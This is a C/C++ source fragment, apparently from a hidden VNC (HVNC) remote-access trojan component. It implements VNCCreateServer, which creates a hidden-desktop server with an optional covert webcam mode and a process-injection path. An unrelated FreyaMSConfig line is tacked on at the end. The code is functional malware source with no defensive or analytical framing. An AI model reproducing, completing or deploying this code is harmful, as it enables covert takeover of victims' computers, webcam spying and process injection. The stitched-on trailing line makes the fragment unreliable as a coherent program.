HVNC VNCCreateServer(HVNC_INITIALIZE *lpVNCInit) { if (!bHVNCInit) return -1; HVNC hVNC=1; EnterCriticalSection(&csHVNC); { HVNC_HANDLE *lpHandle=NULL; DWORD dwHash=chksum_crc32((byte*)lpVNCInit->szDeskName,lstrlenA(lpVNCInit->szDeskName)); if (!lpHandles) lpHandle=lpHandles=(HVNC_HANDLE*)MemAlloc(sizeof(HVNC_HANDLE)); else { lpHandle=lpHandles; HVNC_HANDLE *lpPrev; while (lpHandle) { if (lpHandle->lpServer->Names.dwHash == dwHash) { LeaveCriticalSection(&csHVNC); return -1; } lpPrev=lpHandle; lpHandle=lpHandle->lpNext; } lpHandle=lpPrev->lpNext=(HVNC_HANDLE*)MemAlloc(sizeof(HVNC_HANDLE)); lpHandle->lpPrev=lpPrev; hVNC=lpPrev->hHandle+1; } PHVNC lpServer=lpHandle->lpServer=(PHVNC)VirtualAlloc(NULL,sizeof(HVNCS),MEM_COMMIT,PAGE_READWRITE); lpHandle->hHandle=hVNC; InitializeCriticalSection(&lpServer->ThreadsInfo.csThreads); InitializeCriticalSection(&lpServer->WndWatcherInfo.csWndsList); lpServer->EventsInfo.dwSleep=50; lstrcpyA(lpServer->DeskInfo.szDeskName,lpVNCInit->szDeskName); lpServer->DeskInfo.dwFlags=lpVNCInit->dwFlags; #ifdef _HVNC_WEBCAM if (!memcmp(lpVNCInit->szDeskName,"#webcam",sizeof("#webcam")-1)) { lpServer->DeskInfo.bWebCam=true; lpServer->DeskInfo.dwFlags|=HVNC_WEB_CAM; if (!InitWebCam(lpServer)) { LeaveCriticalSection(&csHVNC); VNCCloseHandle(lpHandle->hHandle); return -1; } } else #endif { HDESK hInputDesktop=OpenInputDesktop(0,FALSE,DESKTOP_READOBJECTS); if (hInputDesktop) { char szInputDesktopName[100]; GetUserObjectInformationA(hInputDesktop,UOI_NAME,szInputDesktopName,sizeof(szInputDesktopName),NULL); if (!lstrcmpiA(szInputDesktopName,lpVNCInit->szDeskName)) { lpServer->DeskInfo.bInputDesktop=true; lpServer->DeskInfo.dwFlags|=HVNC_INPUT_DESKTOP; } CloseDesktop(hInputDesktop); } if (lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED) { if ((!lpVNCInit->bBitsPerPixel) || (!lpVNCInit->dwHeight) || (!lpVNCInit->dwWidth)) { LeaveCriticalSection(&csHVNC); VNCCloseHandle(lpHandle->hHandle); return -1; } SetScreenSize(lpServer,lpVNCInit->dwHeight,lpVNCInit->dwWidth,lpVNCInit->bBitsPerPixel); } } lpServer->Names.dwHash=dwHash; InitGlobalDataNames(lpServer); if (!InitGlobalData(lpServer)) { LeaveCriticalSection(&csHVNC); VNCCloseHandle(lpHandle->hHandle); return -1; } lpServer->lpClientGoneHook=lpVNCInit->lpClientGoneHook; lpServer->lpNewClientHook=lpVNCInit->lpNewClientHook; if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { lstrcpyA(lpServer->lpGlobalVNCData->szDeskName,lpServer->DeskInfo.szDeskName); lpServer->lpGlobalVNCData->dwDeskFlags=lpVNCInit->dwFlags; WaitForSingleObject(hHandlesMutex,INFINITE); for (int i=0; i < HVNC_MAX_HANDLES; i++) { if (!lpHandlesMapping[i]) { lpHandlesMapping[i]=lpServer->Names.dwHash; break; } } ReleaseMutex(hHandlesMutex); } } LeaveCriticalSection(&csHVNC); return hVNC; }
void FreyaMSConfig::InitConfig() { InitGlobalData(); }